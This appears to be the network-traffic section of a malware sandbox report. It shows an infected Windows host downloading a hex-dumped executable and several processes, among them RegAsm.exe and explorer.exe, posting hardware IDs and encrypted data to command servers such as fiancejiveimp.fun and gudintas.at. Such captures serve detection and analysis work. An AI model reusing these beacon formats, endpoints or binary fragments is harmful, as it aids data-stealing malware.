00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 09 76 01 00 00 10 00 00 00 78 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 00 96 00 00 00 90 01 00 00 96 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f0 65 07 00 00 30 02 00 00 5a 07 00 00 12 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 a0 09 00 00 02 00 00 00 6c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 19 00 00 00 b0 09 00 00 1a 00 00 00 6e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=jhy~;y~;y~;y}:r~;y{:~;yz:m~;6wz:h~;y:p~;y;~;6w{:G~;6w}:o~;w{:x~;w~:x~;w;x~;w\|:x~;Richy~;PELe"xb@@pPdh@.textvx `.rdata\|@@.datae0Z@.rsrcl@@.relochn@B
Oct 3, 2023 09:55:15.453527927 CEST	5518	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 08 b8 92 83 41 00 e8 70 4f 00 00 b8 d4 72 49 00 c7 45 f0 78 72 49 00 89 45 ec 83 65 fc 00 c7 05 d4 72 49 Data Ascii: jApOrIExrIEerI(AEhBPhrI&=MhAMOjAOlrIErIEelrIDAEhDBPhrI<MhALNhIWB$ALY
Oct 3, 2023 09:55:15.453910112 CEST	5519	IN	Data Raw: 89 47 04 b0 01 eb 02 32 c0 5f 5e c2 04 00 83 ec 0c 8b cc ff 74 24 18 e8 81 0a 00 00 8b 44 24 14 8b 4c 24 10 ff 30 e8 9a 05 00 00 c3 83 7c 24 04 00 56 8b f1 74 23 ff 74 24 08 e8 a1 14 00 00 8b 44 24 10 56 ff 36 ff 30 8b 44 24 18 ff 30 e8 1d 02 00 Data Ascii: G2_^t$D$L$0\|$Vt#t$D$V60D$0F^T$Bt@BAVt$W\|$+\|$Wt$VFU7_^L$D$t$PQUE=rEPEPEYYPuREYY]D$t0u+Vh
Oct 3, 2023 09:55:15.453953028 CEST	5521	IN	Data Raw: 46 74 88 46 76 8b 44 24 08 89 46 78 8b c6 5e c2 04 00 56 6a 01 8b f1 e8 f6 01 00 00 ff 74 24 08 8d 4e 6c c7 06 68 93 41 00 83 21 00 83 61 04 00 e8 5a fd ff ff 8b c6 5e c2 04 00 56 ff 74 24 08 8b f1 e8 8e fe ff ff 59 50 8b ce e8 67 01 00 00 e8 a8 Data Ascii: FtFvD$Fx^Vjt$NlhA!aZ^Vt$YPg^Vt$D$AF^Vt$NA!a^!Vt$;tF&AD$A^VWD$P&f\|D$$t$FpL$
Oct 3, 2023 09:55:15.454030991 CEST	5522	IN	Data Raw: 33 ff ff ff c7 06 c4 92 41 00 8b c6 5e c2 04 00 56 ff 74 24 08 8b f1 e8 44 ff ff ff c7 06 c4 92 41 00 8b c6 5e c2 04 00 56 ff 74 24 08 8b f1 e8 03 ff ff ff c7 06 68 92 41 00 8b c6 5e c2 04 00 56 ff 74 24 08 8b f1 e8 eb fe ff ff c7 06 74 92 41 00 Data Ascii: 3A^Vt$DA^Vt$hA^Vt$tA^D$VxrPtA^Vt$tA^Vt$WV'gFG_^Vt$%A^UrI3EVMhAuEPu
Oct 3, 2023 09:55:15.454102039 CEST	5523	IN	Data Raw: 85 c9 74 05 e8 3f 0a 00 00 83 4d fc ff 8b 4d e0 85 c9 74 05 e8 2f 0a 00 00 e8 51 3b 00 00 c3 8d 45 e8 50 e8 07 0a 00 00 59 8d 45 e8 50 8b 4d dc e8 de 07 00 00 8d 45 e8 50 e8 a8 2a 00 00 59 b8 f3 23 40 00 c3 cc cc cc cc cc 8b 49 24 85 c9 0f 84 42 Data Ascii: t?MMt/Q;EPYEPMEP*Y#@I$B `\|$tt$m1jt$6VD$tj\|V6YY^VNlD$tjtVb6YY^VD$thV@6YY^VNtT
Oct 3, 2023 09:55:15.454165936 CEST	5525	IN	Data Raw: 50 ff 75 1c ff 55 30 8b 83 28 30 42 00 03 c6 57 89 87 b0 00 00 00 ff 75 20 ff 55 0c 68 b4 2e d6 05 ff 35 a0 88 49 00 e8 f2 15 00 00 59 59 ff 75 20 ff d0 8b 4d 74 5f 5e 33 cd 5b e8 1b 36 00 00 83 c5 78 c9 c3 55 8b ec 51 51 56 8b f1 8d 4d f8 57 8d Data Ascii: PuU0(0BWu Uh.5IYYu Mt_^3[6xUQQVMWF(PX}uV)YY9~d\|}_^tu(YD$L$#P+wifUEEH$PM]VW\|$?wWF_F^\
Oct 3, 2023 09:55:15.454236984 CEST	5526	IN	Data Raw: 19 89 59 04 e8 6e e9 ff ff 8b 0e e8 ef 06 00 00 8b 4d 10 85 c9 74 05 e8 20 00 00 00 5f 5e 5b c9 c2 10 00 ff 74 24 04 e8 c3 1f 00 00 ff 74 24 08 e8 c9 1f 00 00 8b 44 24 0c 59 59 c3 56 57 83 cf ff 8b f1 8b c7 f0 0f c1 46 04 75 15 8b 06 ff 10 f0 0f Data Ascii: YnMt _^[t$t$D$YYVWFu~Ou_^`_^ItAu`QxtQj\|$tjQr,YYVj+\|$tjVT,YY^VN\|$tj0V4,YY^tjPS
Oct 3, 2023 09:55:15.454273939 CEST	5527	IN	Data Raw: ec e4 ff ff 83 c4 0c 83 f8 02 75 25 8d 77 34 56 e8 08 1f 00 00 50 e8 49 f9 ff ff 56 c6 47 64 01 e8 1d 1f 00 00 8d 47 0c 50 e8 a9 1f 00 00 83 c4 10 8b cf 5f 5e 5b e9 24 02 00 00 55 8b ec 83 ec 2c a1 ec 72 49 00 33 c5 89 45 fc 8b 45 0c 8d 4d d4 56 Data Ascii: u%w4VPIVGdGP_^[$U,rI3EEMVuPf$EPYMF$M3^+UrI3E}$VutWAWzYPWM_MUuRP}EuCEMPMEPM
Oct 3, 2023 09:55:15.454312086 CEST	5529	IN	Data Raw: 0a 00 00 5d c2 08 00 6a 0c b8 bd 81 41 00 e8 d3 27 00 00 89 4d ec 83 65 fc 00 ff 75 0c ff 75 08 83 c1 50 e8 a6 ff ff ff 83 4d fc ff e8 26 27 00 00 c2 08 00 b8 3c 38 40 00 c3 eb ec b8 44 38 40 00 c3 eb e4 8b 75 ec 83 7e 0c 00 75 1f 8d 45 e8 50 e8 Data Ascii: ]jA'MeuuPM&'<8@D8@u~uEPYEPEPcY*8@VWw(VPD$YY9Gd}GdW3VYY_^T$BPUQQVMFPuEPQQMQPY
Oct 3, 2023 09:55:15.620626926 CEST	5532	IN	Data Raw: 0c 32 c0 5f 5e 5d c2 0c 00 ff 74 24 0c ff 74 24 0c ff 74 24 0c e8 8e 2d 00 00 8b 44 24 10 83 c4 0c c3 ff 74 24 04 e8 e6 f0 ff ff 8b 44 24 08 59 c3 56 33 f6 39 74 24 0c 0f 86 3e 01 00 00 53 8b 1d 00 90 41 00 57 8b 7c 24 10 ff d3 80 04 3e 7e ff d3 Data Ascii: 2_^]t$t$t$-D$t$D$YV39t$>SAW\|$>~>4>^>>>>4>j>S>4>>>>>>4>>x>>>>>N>\|>4>>>&

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49805	200.92.136.254	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:54:22.861876965 CEST	1537	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fviqib.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: gudintas.at
Oct 3, 2023 09:54:22.861905098 CEST	1538	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 67 1c a1 e2 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vugcAd{_iiJ8L~z3R_2M0K3)hE"EcnE\|#@gHS"^+(zFTkouS!
Oct 3, 2023 09:54:23.650286913 CEST	1538	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:54:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49845	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:15.508487940 CEST	5530	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:15.508965015 CEST	5531	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:15.834764004 CEST	5612	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=vfoga0bl3vvkcsqppsb32pv12i; expires=Sat, 27 Jan 2024 01:41:54 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:15 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L5KJIntOup%2FcUeqnl8dAjBJMQKmkx%2BUc7me3yNGb8RcU8QjobEt%2BdQ5c1hbUF2xWsCI6APknguZsFsG6Xf9DXCW0qdzASCk%2B4rLSUQrE0dKTsI0c7B2%2BKJNHeYTlpeTgJcSvEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f2e2f68082b-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:15.834840059 CEST	5613	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49847	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:16.044003963 CEST	5683	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:16.044611931 CEST	5683	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:17.658610106 CEST	6188	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=85v6p1mnp1hadi3fmp04torli5; expires=Sat, 27 Jan 2024 01:41:56 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:17 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bDdjvkwpSdZGZrJsJAHVVIdwkhkqOQuWs9BLZEpQrgXxNdh7uP8jE9Y16ymD6PuFtOIxqjSsYcBxv1N3I%2B5daJiLXEGNmfRpRYJ0SDK2sTs3P29PhXlis8%2B1T%2BYGPGOLNly01g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f317dc99c7c-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:17.658628941 CEST	6188	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49849	180.94.156.61	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:17.246929884 CEST	6178	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mqsawjuwq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 110 Host: gudintas.at
Oct 3, 2023 09:55:17.246965885 CEST	6178	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2c 5b 00 6b 2c 90 f4 76 0b 75 5a 2c e1 86 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA ,[k,vuZ,[7O~bnPk
Oct 3, 2023 09:55:18.286426067 CEST	6196	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:55:17 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49852	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:17.875031948 CEST	6188	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:17.875524044 CEST	6189	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:18.790712118 CEST	6202	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=14l0a7gq0deis2p6okh6bjfbrj; expires=Sat, 27 Jan 2024 01:41:57 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:18 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ttdIvaeIzU9aGncfq3Z30tBqXRLiGlv2Cc14USGg4m3CKkjd3jQoXjkdpijxSfWtApjQuSf%2B4XVJ34QjFBYUs%2B8jAgNPLtCdjXcs23mKo5Ook7V3EpNbkcPbY0sav%2BOIR8Q8lw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f3cfd268266-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:18.790791035 CEST	6202	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49855	104.21.1.18	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:18.464087009 CEST	6199	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: malenursenect.fun Content-Length: 61 Cache-Control: no-cache Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 6c 69 64 3d 50 72 54 69 4f 37 2d 2d 49 6e 73 74 61 6c 6c 42 65 73 74 32 26 6a 3d 64 65 66 61 75 6c 74 26 76 65 72 3d 34 2e 30 Data Ascii: act=recive_message&lid=PrTiO7--InstallBest2&j=default&ver=4.0
Oct 3, 2023 09:55:19.335035086 CEST	6212	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=qf2ed813od2qsss0ovr6jcoorm; expires=Sat, 27 Jan 2024 01:41:57 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:18 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gAqNlJdlIbcdCWoD5bFjM9N7zc3vOk90FLtcRr8e9lp56jKkFsP617fW1wQLIvcHH5Nz%2B3El1PWItwdJTYuv%2Bpil%2BuACLmo5prBFxHL5xTVlXvJDZ2VmTKMXNtG1boAfe67Hcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f40981439b5-IAD Data Raw: 34 30 32 0d 0a 4a 2b 4e 68 56 77 74 4f 56 4d 2b 4a 70 31 4c 56 79 45 31 74 77 78 4c 59 55 35 51 78 7a 54 4a 53 6c 51 66 42 4d 57 53 64 4c 68 70 63 37 6d 74 33 4b 32 35 30 37 66 2b 46 61 50 58 38 59 57 44 4a 4d 76 68 7a 74 42 4f 2b 56 33 43 76 4a 37 56 44 45 66 67 43 46 79 33 44 51 58 63 72 62 44 57 72 71 35 31 79 73 36 6b 68 48 71 59 2b 31 56 6d 30 45 65 30 53 63 50 42 2f 34 77 74 45 78 69 4d 51 42 38 4e 42 64 79 74 75 4c 38 4b 44 68 33 4c 31 36 47 31 4e 34 7a 4c 36 4e 76 6f 54 39 78 4a 77 38 47 Data Ascii: 402J+NhVwtOVM+Jp1LVyE1twxLYU5QxzTJSlQfBMWSdLhpc7mt3K2507f+FaPX8YWDJMvhztBO+V3CvJ7VDEfgCFy3DQXcrbDWrq51ys6khHqY+1Vm0Ee0ScPB/4wtExiMQB8NBdytuL8KDh3L16G1N4zL6NvoT9xJw8G
Oct 3, 2023 09:55:19.335084915 CEST	6213	IN	Data Raw: 32 6a 55 41 6a 2f 54 33 46 49 6b 77 30 30 59 79 49 7a 70 2b 7a 45 4e 72 53 6b 49 41 69 6d 64 37 6b 35 2b 6c 69 67 57 6a 2b 33 4b 38 77 37 52 4c 30 4f 4f 67 66 44 51 58 63 70 4b 79 37 74 73 34 64 77 6d 4b 30 35 44 49 35 7a 71 7a 69 32 50 4d 63 53 Data Ascii: 2jUAj/T3FIkw00YyIzp+zENrSkIAimd7k5+ligWj+3K8w7RL0OOgfDQXcpKy7ts4dwmK05DI5zqzi2PMcScrUn4REZsSMQB8NBdytuL8KDh3L16G1N4zL6NvoT9xJw+2yjWAz7TH9IhAAyaiExp+XCNLujIgmhd7405FamXDy3K8w7RL0OOgfDQXcpKy7ts4dwmK05DI5zqzi2PMcScrUn4REZsSMQB8NBdytuL8KDh3L16G1N4
Oct 3, 2023 09:55:19.335095882 CEST	6214	IN	Data Raw: 33 63 36 65 0d 0a 45 4f 50 69 6c 44 58 75 2b 70 68 33 4c 31 36 44 42 42 7a 68 6a 34 63 37 51 52 37 52 49 70 6d 41 33 68 45 55 53 39 44 6a 6f 48 77 30 4d 79 5a 57 78 75 37 36 76 4e 4d 4c 47 70 49 67 36 74 64 37 45 36 2f 56 2b 67 57 44 44 2f 61 36 Data Ascii: 3c6eEOPilDXu+ph3L16DBBzhj4c7QR7RIpmA3hEUS9DjoHw0MyZWxu76vNMLGpIg6td7E6/V+gWDD/a6ZQCPVNf0uEAzJhIzqm7YV+2MJtTeMy+HO0Ee9XKLc94RMq9EhuXsFsXStudO+phy/5xUdN4zL4c7RKwDhytSfhEUS9DjhCjUNtK2w1qevEML+4Lx2lc7w//1ylXzH5b6pUAfJKd0aOAjFnLXbjhK1y9ehtTeMy+HH
Oct 3, 2023 09:55:19.335242987 CEST	6215	IN	Data Raw: 4e 42 64 79 73 31 57 63 57 70 68 33 4c 31 36 47 31 4e 34 7a 43 39 50 62 59 4c 37 52 41 38 2b 57 57 73 58 77 72 30 52 48 6c 4a 6a 77 51 77 59 43 51 2b 76 2b 72 42 4f 4c 61 6b 49 41 36 6c 64 62 38 31 38 56 65 70 58 33 43 35 43 73 73 52 52 4c 30 4f Data Ascii: NBdys1WcWph3L16G1N4zC9PbYL7RA8+WWsXwr0RHlJjwQwYCQ+v+rBOLakIA6ldb818VepX3C5CssRRL0OOgfDQXVuNHb1qYUfkJ9tLpsw1Vm0Ee0ScrV67TxuvQ46B8NBLAZEdO+ph3L16G1Ppnz6abQTo1M8/2qlWgr1RXNJigc5YCkwrO7AMbOmJQmic7U++VvvHl+fJ+ERRL0OOgfBBC0pdHTtztI7uaxvYMky+HO0Ee1Pf
